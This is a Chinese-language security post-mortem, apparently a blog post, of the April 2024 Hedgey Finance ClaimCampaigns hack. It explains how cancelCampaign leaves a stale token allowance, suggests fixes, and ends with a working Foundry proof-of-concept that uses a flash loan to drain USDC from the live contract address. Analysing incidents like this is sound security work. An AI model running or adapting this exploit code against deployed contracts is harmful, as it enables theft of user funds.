2024年4月19 HedgeyFinance ClaimCampaigns合约攻击--逻辑漏洞

  • 黑梨888
  • 更新于 2024-07-31 20:11
  • 阅读 674

4月19日有一起针对HedgeyFinance的ClaimCampaigns合约的攻击,多次攻击导致共损失48M。这次攻击的本质是合约逻辑漏洞,配合闪电贷一次盗取大额资金。

攻击简述

4月19日有一起针对HedgeyFinance的ClaimCampaigns合约的攻击,多次攻击导致共损失48M。这次攻击的本质是合约逻辑漏洞,配合闪电贷一次盗取大额资金。 第一次攻击(步骤一):https://app.blocksec.com/explorer/tx/eth/0xa17fdb804728f226fcd10e78eae5247abd984e0f03301312315b89cae25aa517 第一次攻击(步骤二):https://app.blocksec.com/explorer/tx/eth/0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b1595739 攻击合约地址:0xC793113F1548B97E37c409f39244EE44241bF2b3 被害合约地址:https://etherscan.io/address/0xbc452fdc8f851d7c5b72e1fe74dfb63bb793d511 被害合约源代码:https://vscode.blockscan.com/ethereum/0xbc452fdc8f851d7c5b72e1fe74dfb63bb793d511

攻击分析

ClaimCampaigns合约是做什么的

这个合约是用来帮助项目方把项目方的token分发到社区。分发token可以有unlocked模式(拿到token就可以卖),locked模式(用户即使claim一定的token也不能马上卖),vesting模式(类似逐步期权解锁)。本次黑客利用了locked模式。下面是合约中可被外部调用的方法:

  • createUnlockedCampaign:创建一个无锁定机制的活动
  • createLockedCampaign:创建一个锁定机制的活动,本次被利用的方法。
  • claimTokens:用户用来索取token的方法。
  • cancelCampaign:活动manager取消活动的方法,本次被利用的方法。
  • verify:用于默克尔树证明。

    ClaimCampaigns代码与逻辑漏洞

    我们先来看CreateLockedCampaign方法:

/// @notice primary function for creating an locked or vesting claims campaign. This function will pull the amount of tokens in the campaign struct, and map the campaign and claimLockup to the id.
  /// additionally it will check that the lockup details are valid, and perform an allowance increase to the contract for when tokens are claimed they can be pulled.
  /// @dev the merkle tree needs to be pre-generated, so that you can upload the root and the uuid for the function
  /// @param id is the uuid or CID of the file that stores the merkle tree
  /// @param campaign is the struct of the campaign info, including the total amount tokens to be distributed via claims, and the root of the merkle tree, plus the lockup type of either 1 (lockup) or 2 (vesting)
  /// @param claimLockup is the struct that defines the characteristics of the lockup for each token claimed.
  /// @param donation is the doantion struct that can be 0 or any amount of tokens the team wishes to donate
  function createLockedCampaign(
    bytes16 id,
    Campaign memory campaign,
    ClaimLockup memory claimLockup,
    Donation memory donation
  ) external nonReentrant {
    require(!usedIds[id], 'in use');
    usedIds[id] = true;
    require(campaign.token != address(0), '0_address');
    require(campaign.manager != address(0), '0_manager');
    require(campaign.amount > 0, '0_amount');
    require(campaign.end > block.timestamp, 'end error');
    require(campaign.tokenLockup != TokenLockup.Unlocked, '!locked');
    require(claimLockup.tokenLocker != address(0), 'invalide locker');
    TransferHelper.transferTokens(campaign.token, msg.sender, address(this), campaign.amount + donation.amount);
    if (donation.amount > 0) {
      if (donation.start > 0) {
        SafeERC20.safeIncreaseAllowance(IERC20(campaign.token), donation.tokenLocker, donation.amount);
        ILockupPlans(donation.tokenLocker).createPlan(
          donationCollector,
          campaign.token,
          donation.amount,
          donation.start,
          donation.cliff,
          donation.rate,
          donation.period
        );
      } else {
        TransferHelper.withdrawTokens(campaign.token, donationCollector, donation.amount);
      }
      emit TokensDonated(id, donationCollector, campaign.token, donation.amount, donation.tokenLocker);
    }
    claimLockups[id] = claimLockup;
    SafeERC20.safeIncreaseAllowance(IERC20(campaign.token), claimLockup.tokenLocker, campaign.amount);
    campaigns[id] = campaign;
    emit ClaimLockupCreated(id, claimLockup);
    emit CampaignStarted(id, campaign);
  }

第14-21行:首先对用户输入的参数进行了一些必须的校验。 第22行:从用户的账户里,转移了一定数量的token。这个执行的前提是,用户提前approve了相对应的token给claimCampaign合约地址。 第23-39行:对donation amount大于零的情况进行处理,但是因为本次攻击donation amount为零,所以可以忽略这块的逻辑。 第40行:把这个项目的所有上锁相关的信息存入到状态变量中 第41行:攻击相关的代码,这一行代码是受害合约把同样数量的token approve给token locker这个地址。因为当前的模式是locked,所以只有token locker这个地址可以从挪用这笔allowance。但是token locker这个地址是用户可控的,所以黑客传入了攻击合约的地址。 第42行:把这个项目相关的信息存入到状态变量中。 第43-44行:发送event广播活动创建成功并开始运行。

下面再来看下claimToken代码。虽然与本次攻击无关,但是claim代码的逻辑是完善的,如果cancel方法的逻辑也参考了claim逻辑,就不会有攻击发生。

  /// @notice this is the primary function for the claimants to claim their tokens
  /// @dev the claimer will need to know the uuid of the campiagn, plus have access to the amount of tokens they are claiming and the merkle tree proof
  /// @dev if the claimer doesnt have this information the function will fail as it will not pass the verify validation
  /// the leaf of each merkle tree is the hash of the wallet address plus the amount of tokens claimable
  /// @dev once a user has claimed tokens, they cannot perform a second claim
  /// @dev the amount of tokens in the campaign is reduced by the amount of the claim
  /// @param campaignId is the id of the campaign stored in storage
  /// @param proof is the merkle tree proof that maps to their unique leaf in the merkle tree
  /// @param claimAmount is the amount of tokens they are eligible to claim
  /// this function will verify and validate the eligibilty of the claim, and then process the claim, by delivering unlocked or locked / vesting tokens depending on the setup of the claim campaign.
  function claimTokens(bytes16 campaignId, bytes32[] memory proof, uint256 claimAmount) external nonReentrant {
    require(!claimed[campaignId][msg.sender], 'already claimed');
    Campaign memory campaign = campaigns[campaignId];
    require(campaign.end > block.timestamp, 'campaign ended');
    require(verify(campaign.root, proof, msg.sender, claimAmount), '!eligible');
    require(campaign.amount >= claimAmount, 'campaign unfunded');
    claimed[campaignId][msg.sender] = true;
    campaigns[campaignId].amount -= claimAmount;
    if (campaigns[campaignId].amount == 0) {
      delete campaigns[campaignId];
    }
    if (campaign.tokenLockup == TokenLockup.Unlocked) {
      TransferHelper.withdrawTokens(campaign.token, msg.sender, claimAmount);
    } else {
      ClaimLockup memory c = claimLockups[campaignId];
      uint256 rate;
      if (claimAmount % c.periods == 0) {
        rate = claimAmount / c.periods;
      } else {
        rate = claimAmount / c.periods + 1;
      }
      uint256 start = c.start == 0 ? block.timestamp : c.start;
      if (campaign.tokenLockup == TokenLockup.Locked) {
        ILockupPlans(c.tokenLocker).createPlan(msg.sender, campaign.token, claimAmount, start, c.cliff, rate, c.period);
      } else {
        IVestingPlans(c.tokenLocker).createPlan(
          msg.sender,
          campaign.token,
          claimAmount,
          start,
          c.cliff,
          rate,
          c.period,
          campaign.manager,
          false
        );
      }
    }
    emit TokensClaimed(campaignId, msg.sender, claimAmount, campaigns[campaignId].amount);
  }

第18行:对claim的额度进行了扣除,活动可以claim的总量减少了一部分 第23行:把claim的钱转给msg sender。 下面是campaignCancle方法代码:

  /// @notice this function allows the campaign manager to cancel an ongoing campaign at anytime. Cancelling a campaign will return any unclaimed tokens, and then prevent anyone from claiming additional tokens
  /// @param campaignId is the id of the campaign to be cancelled
  function cancelCampaign(bytes16 campaignId) external nonReentrant {
    Campaign memory campaign = campaigns[campaignId];
    require(campaign.manager == msg.sender, '!manager');
    delete campaigns[campaignId];
    delete claimLockups[campaignId];
    TransferHelper.withdrawTokens(campaign.token, msg.sender, campaign.amount);
    emit CampaignCancelled(campaignId);
  }

第5行:确保msg sender是本活动的管理员。 第6-7: 在状态变量中删除活动信息 第8行:攻击相关代码。把活动剩余的活动amount资金转回给msg sender,这里就是逻辑漏洞的地方,他应该学习claim方法中第18行,先把活动amount值减少为0,再进行转账。先记账,后转账。但是这里面只转账,未记账。所以即使活动关闭了,之前approve给攻击合约的allowance还是存在的。那么,如果我投资了X USDT到这个合约创建活动,然后再关闭活动,被害合约会把X USDT转回给我的账户,并且它的账本上还有approve给我的X USDT的资金,那我可以再手动transferfrom一次。相当于获得2X USDT的资金。

攻击transaction步骤解析

理解了受害合约的逻辑漏洞,配合链上调用信息,可以整理出攻击合约的实现步骤:

  1. 攻击合约闪电贷一大笔udsc
  2. 攻击合约把贷款拿到的usdc approve给ClaimCampaigns合约,用于活动创建金
  3. 攻击合约调用campaign合约的create功能
  4. create功能里面approve(safeIncreaseAllowance方法)了对应的金额给 campaign manager(也就是攻击合约)
  5. 攻击合约调用cancel campaign方法。
  6. cancel campaign方法withdraw没花掉的钱返回给campaign manager(攻击合约),但是忘了取消剩余的allowance。 下面是第一次攻击的链上交互信息,但是只包括了第一步。可能是为了防止抢跑,黑客把攻击分成了两步。第一步创建活动取消活动。第二步从allowance中提取不义之财。 image.png

    如何修改合约代码

    我想到两种方法:

    方法一

    修改的方式比较简单: 第6-7行:先把approve给这个活动的allowance都cancel,然后把未花完的amount转给活动manager。

  function cancelCampaign(bytes16 campaignId) external nonReentrant {
    Campaign memory campaign = campaigns[campaignId];
    require(campaign.manager == msg.sender, '!manager');
    delete campaigns[campaignId];
    delete claimLockups[campaignId];
    cancelAllAllowance(campaign.locker)//清除之前approve给这个活动的所有allowance
    TransferHelper.withdrawTokens(campaign.token, msg.sender, preAmount);//退还剩余campaign amount
    emit CampaignCancelled(campaignId);
  }

方法二

cancel活动的时候直接不需要withdrawTokens(campaign.token, msg.sender, preAmount)这个步骤。这个步骤是自动把钱退给用户,如果不退给用户,用户可以手动从allowance里提走token。

攻击复现

下面是我基于foundry框架写的PoC,参考了这个PoC:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/HedgeyFinance_exp.sol

// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "./interface.sol";

//受害者合约的interface
interface IClaimCampaigns{

    function createLockedCampaign(
        bytes16 id,
        Campaign memory campaign,
        ClaimLockup memory claimLockup,
        Donation memory donation
    ) external;

    function cancelCampaign(bytes16 campaignId) external;
}

//受害者合约需要的结构体参数
enum TokenLockup {
    Unlocked,
    Locked,
    Vesting
  }

struct Campaign {
    address manager;
    address token;
    uint256 amount;
    uint256 end;
    TokenLockup tokenLockup;
    bytes32 root;
  }

struct Donation {
    address tokenLocker;
    uint256 amount;
    uint256 rate;
    uint256 start;
    uint256 cliff;
    uint256 period;
}

struct ClaimLockup {
    address tokenLocker;
    uint256 start;
    uint256 cliff;
    uint256 period;
    uint256 periods;
}

contract HedgeyFinaceTest is Test{
    //初始化相关合约信息:
    //闪电贷合约
    IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    //初始化claimcampaigns合约
    IClaimCampaigns claimCampaigns = IClaimCampaigns(0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511);
    //初始化USDC token
    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    function setUp() external {
        vm.createSelectFork("https://eth-mainnet.alchemyapi.io/v2/WV407BEiBmjNJfKo9Uo_55u0z0ITyCOX", 19687890-1);
        deal(address(this), 1 ether);
    }    
    function testExploit() external {
        // 打印攻击发生前,攻击合约的余额
        console.log("before attacking, I have %s USDC ", USDC.balanceOf(address(this)));
        address[] memory tokens = new address[](1);
        tokens[0] = address(USDC);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1305000000000;
        //借闪电贷
        BalancerVault.flashLoan(address(this),tokens,amounts,"");

        //偷claimCampaign里面allowance剩余的钱
        uint256 claimCampaigns_balance = USDC.balanceOf(address(claimCampaigns));
        USDC.transferFrom(address(claimCampaigns), address(this), claimCampaigns_balance);

        // 打印攻击发生后,攻击合约的余额
        console.log("After attacking, I have %s USDC",USDC.balanceOf(address(this)));
    }

    function receiveFlashLoan(
        address[] memory,
        uint256[] memory amounts,
        uint256[] memory fees,
        bytes memory
    ) external payable {
        //给受害合约approve一笔资金
        USDC.approve(address(claimCampaigns), 1305000000000);

        //创建活动
        bytes16 campaign_id = 0x00000000000000000000000000000001;
        Campaign memory campaign;
        campaign.manager = address(this);
        campaign.token = address(USDC);
        campaign.amount = 1305000000000;
        campaign.end = 3133666800;
        campaign.tokenLockup = TokenLockup.Locked;
        campaign.root = ""; // 0x0000000000000000000000000000000000000000000000000000000000000000

        ClaimLockup memory claimLockup;
        claimLockup.tokenLocker = address(this);
        claimLockup.start = 0;
        claimLockup.cliff = 0;
        claimLockup.period = 0;
        claimLockup.periods = 0;

        Donation memory donation;
        donation.tokenLocker = address(this);
        donation.amount = 0;
        donation.rate = 0;
        donation.start = 0;
        donation.start = 0;
        donation.cliff = 0;
        donation.period = 0;
        claimCampaigns.createLockedCampaign(campaign_id, campaign, claimLockup,donation);

        //结束活动
         claimCampaigns.cancelCampaign(campaign_id);

        //还款闪电贷
        USDC.transfer(address(BalancerVault), 1305000000000);

    }

}

输出证明: image.png

Reference

一个比较全面的英文分析 https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d4

点赞 1
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~